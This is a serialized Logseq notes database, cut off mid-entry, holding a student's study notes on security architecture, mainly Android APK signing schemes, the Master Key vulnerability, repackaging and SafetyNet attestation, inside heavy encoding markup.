securitylogseq____",536870916]],[logseq____"^15logseq____",[135,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[135,logseq____"^Flogseq____",136,536870916]],[logseq____"^15logseq____",[135,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[135,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[135,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[135,logseq____"^;logseq____",logseq____"~u67b83fac-9202-4eef-8da0-985029469d5dlogseq____",536870916]],[logseq____"^15logseq____",[136,logseq____"^Qlogseq____",logseq____"Usable Securitylogseq____",536870916]],[logseq____"^15logseq____",[136,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[136,logseq____"^Flogseq____",138,536870916]],[logseq____"^15logseq____",[136,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[136,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[136,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[136,logseq____"^;logseq____",logseq____"~u67b83fac-cf61-4610-942e-67774c561098logseq____",536870916]],[logseq____"^15logseq____",[137,logseq____"^Qlogseq____",logseq____"Hardware-based securitylogseq____",536870916]],[logseq____"^15logseq____",[137,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[137,logseq____"^Flogseq____",135,536870916]],[logseq____"^15logseq____",[137,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[137,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[137,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[137,logseq____"^;logseq____",logseq____"~u67b83fac-6e64-4223-89c8-6211f4ee2864logseq____",536870916]],[logseq____"^15logseq____",[138,logseq____"^Qlogseq____",logseq____"Platform Securitylogseq____",536870916]],[logseq____"^15logseq____",[138,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[138,logseq____"^Flogseq____",133,536870916]],[logseq____"^15logseq____",[138,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[138,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[138,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[138,logseq____"^;logseq____",logseq____"~u67b83fac-e583-4414-870d-ed2091e6acc0logseq____",536870916]],[logseq____"^15logseq____",[139,logseq____"^Qlogseq____",logseq____"Fuchsialogseq____",536870916]],[logseq____"^15logseq____",[139,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[139,logseq____"^Flogseq____",137,536870916]],[logseq____"^15logseq____",[139,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[139,logseq____"^Vlogseq____",141,536870916]],[logseq____"^15logseq____",[139,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[139,logseq____"^;logseq____",logseq____"~u67b83fac-8635-4a87-8db5-96c8250e4227logseq____",536870916]],[logseq____"^15logseq____",[140,logseq____"^Qlogseq____",logseq____"End-Term: `28.02.2025`, `10:00-12:00` @`GHH`logseq____",536870916]],[logseq____"^15logseq____",[140,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[140,logseq____"^Flogseq____",142,536870916]],[logseq____"^15logseq____",[140,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[140,logseq____"^Vlogseq____",142,536870916]],[logseq____"^15logseq____",[140,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[140,logseq____"^;logseq____",logseq____"~u67b83fac-ff5f-46be-a1b3-a6aa24ba4642logseq____",536870916]],[logseq____"^15logseq____",[141,logseq____"^Qlogseq____",logseq____"## Content:logseq____",536870916]],[logseq____"^15logseq____",[141,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[141,logseq____"^Flogseq____",142,536870916]],[logseq____"^15logseq____",[141,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[141,logseq____"^Vlogseq____",132,536870916]],[logseq____"^15logseq____",[141,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[141,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[141,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[141,logseq____"^;logseq____",logseq____"~u67b83fac-83d8-44db-8eca-8b95018248f9logseq____",536870916]],[logseq____"^15logseq____",[142,logseq____"^Qlogseq____",logseq____"## Examslogseq____",536870916]],[logseq____"^15logseq____",[142,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[142,logseq____"^Flogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^Xlogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^Vlogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^Ulogseq____",132,536870916]],[logseq____"^15logseq____",[142,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[142,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[142,logseq____"^;logseq____",logseq____"~u67b83fac-6935-44cd-b67a-d58ff474fcb5logseq____",536870916]],[logseq____"^15logseq____",[144,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[144,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[144,logseq____"^Ylogseq____",logseq____"package integrity and authenticitylogseq____",536870916]],[logseq____"^15logseq____",[144,logseq____"^11logseq____",logseq____"Package Integrity and Authenticitylogseq____",536870916]],[logseq____"^15logseq____",[144,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[144,logseq____"^;logseq____",logseq____"~u67bd79bb-0cff-4089-9e2a-c2ce409da46blogseq____",536878163]],[logseq____"^15logseq____",[145,logseq____"^Qlogseq____",logseq____"### SafetyNet Attestationlogseq____",536870916]],[logseq____"^15logseq____",[145,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[145,logseq____"^Flogseq____",163,536870916]],[logseq____"^15logseq____",[145,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[145,logseq____"^Vlogseq____",165,536870916]],[logseq____"^15logseq____",[145,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[145,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[145,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[145,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[145,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[145,logseq____"^;logseq____",logseq____"~u67b83fac-5ece-4a11-bce5-80ed380babd1logseq____",536870916]],[logseq____"^15logseq____",[146,logseq____"^Qlogseq____",logseq____"No authenticity (developer self-signs certificate)logseq____",536870916]],[logseq____"^15logseq____",[146,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[146,logseq____"^Flogseq____",162,536870916]],[logseq____"^15logseq____",[146,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[146,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[146,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[146,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[146,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[146,logseq____"^;logseq____",logseq____"~u67b83fac-7f36-48d3-aff1-8d217ec670b1logseq____",536870916]],[logseq____"^15logseq____",[147,logseq____"^Qlogseq____",logseq____"#### Master Key Vulnerability (Signing Key)logseq____",536870916]],[logseq____"^15logseq____",[147,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[147,logseq____"^Flogseq____",168,536870916]],[logseq____"^15logseq____",[147,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[147,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[147,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[147,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[147,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[147,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",4],536870916]],[logseq____"^15logseq____",[147,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[147,logseq____"^;logseq____",logseq____"~u67b83fac-72b2-4b5b-914f-cafeaf17937flogseq____",536870916]],[logseq____"^15logseq____",[148,logseq____"^Qlogseq____",logseq____"Created using `apksigner`logseq____",536870916]],[logseq____"^15logseq____",[148,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[148,logseq____"^Flogseq____",170,536870916]],[logseq____"^15logseq____",[148,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[148,logseq____"^Vlogseq____",170,536870916]],[logseq____"^15logseq____",[148,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[148,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[148,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[148,logseq____"^;logseq____",logseq____"~u67b83fac-89ba-45f8-9f5e-881a59176c1flogseq____",536870916]],[logseq____"^15logseq____",[149,logseq____"^Qlogseq____",logseq____"~`logseq____<signerlogseq____>.SF`: List of resources and their signature valuelogseq____",536870916]],[logseq____"^15logseq____",[149,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[149,logseq____"^Flogseq____",151,536870916]],[logseq____"^15logseq____",[149,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[149,logseq____"^Vlogseq____",172,536870916]],[logseq____"^15logseq____",[149,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[149,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[149,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[149,logseq____"^;logseq____",logseq____"~u67b83fac-a626-4e75-8929-b8c44f36d1a9logseq____",536870916]],[logseq____"^15logseq____",[150,logseq____"^Qlogseq____",logseq____"New publishing formatlogseq____",536870916]],[logseq____"^15logseq____",[150,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[150,logseq____"^Flogseq____",166,536870916]],[logseq____"^15logseq____",[150,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[150,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[150,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[150,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[150,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[150,logseq____"^;logseq____",logseq____"~u67b83fac-8c1e-4034-8b5d-19fbfc832580logseq____",536870916]],[logseq____"^15logseq____",[151,logseq____"^Qlogseq____",logseq____"~`Manifest.mf`: List of packaged files and their hashlogseq____",536870916]],[logseq____"^15logseq____",[151,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[151,logseq____"^Flogseq____",172,536870916]],[logseq____"^15logseq____",[151,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[151,logseq____"^Vlogseq____",172,536870916]],[logseq____"^15logseq____",[151,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[151,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[151,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[151,logseq____"^;logseq____",logseq____"~u67b83fac-ae62-4d8f-a014-6e56134cd4d5logseq____",536870916]],[logseq____"^15logseq____",[152,logseq____"^Qlogseq____",logseq____"Android *installed* the *second* filelogseq____",536870916]],[logseq____"^15logseq____",[152,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[152,logseq____"^Flogseq____",153,536870916]],[logseq____"^15logseq____",[152,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[152,logseq____"^Vlogseq____",147,536870916]],[logseq____"^15logseq____",[152,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[152,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[152,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[152,logseq____"^;logseq____",logseq____"~u67b83fac-98c8-4485-9491-b954df933b13logseq____",536870916]],[logseq____"^15logseq____",[153,logseq____"^Qlogseq____",logseq____"Android *verfied* the *first* filelogseq____",536870916]],[logseq____"^15logseq____",[153,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[153,logseq____"^Flogseq____",175,536870916]],[logseq____"^15logseq____",[153,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[153,logseq____"^Vlogseq____",147,536870916]],[logseq____"^15logseq____",[153,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[153,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[153,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[153,logseq____"^;logseq____",logseq____"~u67b83fac-7ffe-475b-9860-738b98e5acfclogseq____",536870916]],[logseq____"^15logseq____",[154,logseq____"^Qlogseq____",logseq____"### Signature Scheme v1 (JAR signing) #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[154,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[154,logseq____"^Flogseq____",160,536870916]],[logseq____"^15logseq____",[154,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[154,logseq____"^Vlogseq____",160,536870916]],[logseq____"^15logseq____",[154,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[154,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[154,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[154,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[154,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[154,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[154,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[154,logseq____"^;logseq____",logseq____"~u67b83fac-cd58-4b54-90dc-0fbe6da0861flogseq____",536870916]],[logseq____"^15logseq____",[155,logseq____"^Qlogseq____",logseq____"*trust on first install*logseq____",536870916]],[logseq____"^15logseq____",[155,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[155,logseq____"^Flogseq____",146,536870916]],[logseq____"^15logseq____",[155,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[155,logseq____"^Vlogseq____",146,536870916]],[logseq____"^15logseq____",[155,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[155,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[155,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[155,logseq____"^;logseq____",logseq____"~u67b83fac-caf9-4ff4-882a-b3dab56d10cblogseq____",536870916]],[logseq____"^15logseq____",[156,logseq____"^Qlogseq____",logseq____"Verify App runs on a verified devicelogseq____",536870916]],[logseq____"^15logseq____",[156,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[156,logseq____"^Flogseq____",145,536870916]],[logseq____"^15logseq____",[156,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[156,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[156,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[156,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[156,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[156,logseq____"^;logseq____",logseq____"~u67b83fac-1243-4e5b-af45-1c9c3a85be4elogseq____",536870916]],[logseq____"^15logseq____",[157,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart TB\\n B(\\logseq____"Step 1: Verify the certificate\\logseq____") --logseq____> C(\\logseq____"Step 2: Using certificatelogseq____'s public key, verify the signature of logseq____&lt;signerlogseq____&gt;.sf\\logseq____")\\n C --logseq____> D(\\logseq____"Step 3: Check that entries in logseq____&lt;signerlogseq____&gt;.sf match those in Manifest.mf\\logseq____")\\n D --logseq____> E(\\logseq____"Step 4: For each file listed in Manifest.mf, confirm its hash is correct\\logseq____")\\n\\n```logseq____",536870916]],[logseq____"^15logseq____",[157,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[157,logseq____"^Flogseq____",168,536870916]],[logseq____"^15logseq____",[157,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[157,logseq____"^Vlogseq____",168,536870916]],[logseq____"^15logseq____",[157,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[157,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[157,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[157,logseq____"^;logseq____",logseq____"~u67b83fac-5acc-4dab-b09e-587a6642652dlogseq____",536870916]],[logseq____"^15logseq____",[158,logseq____"^Qlogseq____",logseq____"Contains code and resources (*organized in modules*)logseq____",536870916]],[logseq____"^15logseq____",[158,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[158,logseq____"^Flogseq____",150,536870916]],[logseq____"^15logseq____",[158,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[158,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[158,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[158,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[158,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[158,logseq____"^;logseq____",logseq____"~u67b83fac-561a-4379-9490-03155a367df2logseq____",536870916]],[logseq____"^15logseq____",[159,logseq____"^Qlogseq____",logseq____"subsequent updates ensure integritylogseq____",536870916]],[logseq____"^15logseq____",[159,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[159,logseq____"^Flogseq____",155,536870916]],[logseq____"^15logseq____",[159,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[159,logseq____"^Vlogseq____",146,536870916]],[logseq____"^15logseq____",[159,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[159,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[159,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[159,logseq____"^;logseq____",logseq____"~u67b83fac-86c2-4f78-a3a8-5e3e0face7bclogseq____",536870916]],[logseq____"^15logseq____",[160,logseq____"^Qlogseq____",logseq____"## Signature Schemeslogseq____",536870916]],[logseq____"^15logseq____",[160,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[160,logseq____"^Flogseq____",169,536870916]],[logseq____"^15logseq____",[160,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[160,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[160,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[160,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[160,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[160,logseq____"^;logseq____",logseq____"~u67b83fac-747f-414d-8431-d25e8a722816logseq____",536870916]],[logseq____"^15logseq____",[161,logseq____"^Qlogseq____",logseq____"*Google Play Integrity API* as successorlogseq____",536870916]],[logseq____"^15logseq____",[161,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[161,logseq____"^Flogseq____",177,536870916]],[logseq____"^15logseq____",[161,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[161,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[161,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[161,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[161,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[161,logseq____"^;logseq____",logseq____"~u67b83fac-32f3-4d65-9420-4391c5e6bd3flogseq____",536870916]],[logseq____"^15logseq____",[162,logseq____"^Qlogseq____",logseq____"APK generation deferred to Google Play (chooses appropriate APK)logseq____",536870916]],[logseq____"^15logseq____",[162,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[162,logseq____"^Flogseq____",158,536870916]],[logseq____"^15logseq____",[162,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[162,logseq____"^Vlogseq____",166,536870916]],[logseq____"^15logseq____",[162,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[162,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[162,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[162,logseq____"^;logseq____",logseq____"~u67b83fac-c0c1-45d1-9987-4c189bd28b0alogseq____",536870916]],[logseq____"^15logseq____",[163,logseq____"^Qlogseq____",logseq____"Only works for first-installs (SOP of subsequent updates)logseq____",536870916]],[logseq____"^15logseq____",[163,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[163,logseq____"^Flogseq____",164,536870916]],[logseq____"^15logseq____",[163,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[163,logseq____"^Vlogseq____",165,536870916]],[logseq____"^15logseq____",[163,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[163,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[163,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[163,logseq____"^;logseq____",logseq____"~u67b83fac-5fad-47d9-b746-fb6b9f201f20logseq____",536870916]],[logseq____"^15logseq____",[164,logseq____"^Qlogseq____",logseq____"Self-signed signatures allow for re-packaging modified contentlogseq____",536870916]],[logseq____"^15logseq____",[164,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[164,logseq____"^Flogseq____",165,536870916]],[logseq____"^15logseq____",[164,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[164,logseq____"^Vlogseq____",165,536870916]],[logseq____"^15logseq____",[164,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[164,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[164,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[164,logseq____"^;logseq____",logseq____"~u67b83fac-9712-46e3-821b-e23a7fbd3aeclogseq____",536870916]],[logseq____"^15logseq____",[165,logseq____"^Qlogseq____",logseq____"## Repackaging #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[165,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[165,logseq____"^Flogseq____",166,536870916]],[logseq____"^15logseq____",[165,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[165,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[165,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[165,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[165,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[165,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[165,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[165,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[165,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[165,logseq____"^;logseq____",logseq____"~u67b83fac-bd25-40cd-babc-d468b8e9174flogseq____",536870916]],[logseq____"^15logseq____",[166,logseq____"^Qlogseq____",logseq____"## App Bundles #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[166,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[166,logseq____"^Flogseq____",160,536870916]],[logseq____"^15logseq____",[166,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[166,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[166,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[166,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[166,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[166,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[166,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[166,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[166,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[166,logseq____"^;logseq____",logseq____"~u67b83fac-05d5-46f5-8f1e-4b3537730fd5logseq____",536870916]],[logseq____"^15logseq____",[167,logseq____"^Qlogseq____",logseq____"Mobile Platforms use signed application packages (Android: developer signed; IOS: Market signed)logseq____",536870916]],[logseq____"^15logseq____",[167,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[167,logseq____"^Flogseq____",169,536870916]],[logseq____"^15logseq____",[167,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[167,logseq____"^Vlogseq____",169,536870916]],[logseq____"^15logseq____",[167,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[167,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[167,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[167,logseq____"^;logseq____",logseq____"~u67b83fac-67cd-4d9f-80bc-e3c547fcca08logseq____",536870916]],[logseq____"^15logseq____",[168,logseq____"^Qlogseq____",logseq____"Verfied by Chain-of-Trust logseq____",536870916]],[logseq____"^15logseq____",[168,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[168,logseq____"^Flogseq____",172,536870916]],[logseq____"^15logseq____",[168,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[168,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[168,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[168,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[168,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[168,logseq____"^;logseq____",logseq____"~u67b83fac-5d8b-4e66-a3a6-f9096c299f5dlogseq____",536870916]],[logseq____"^15logseq____",[169,logseq____"^Qlogseq____",logseq____"## Package Signing #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[169,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[169,logseq____"^Flogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^Vlogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[169,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[169,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[169,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[169,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[169,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[169,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[169,logseq____"^;logseq____",logseq____"~u67b83fac-26ed-467b-a3de-cf9c2d37514dlogseq____",536870916]],[logseq____"^15logseq____",[170,logseq____"^Qlogseq____",logseq____"### APK Signature Scheme v2 #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[170,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[170,logseq____"^Flogseq____",154,536870916]],[logseq____"^15logseq____",[170,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[170,logseq____"^Vlogseq____",160,536870916]],[logseq____"^15logseq____",[170,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[170,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[170,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[170,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[170,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[170,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[170,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[170,logseq____"^;logseq____",logseq____"~u67b83fac-b835-4603-a52f-5153e8a2ce4flogseq____",536870916]],[logseq____"^15logseq____",[171,logseq____"^Qlogseq____",logseq____"~`logseq____<signerlogseq____>.{RSA,DSA,EC}`: Application and signer Certificate(Using [PKCS 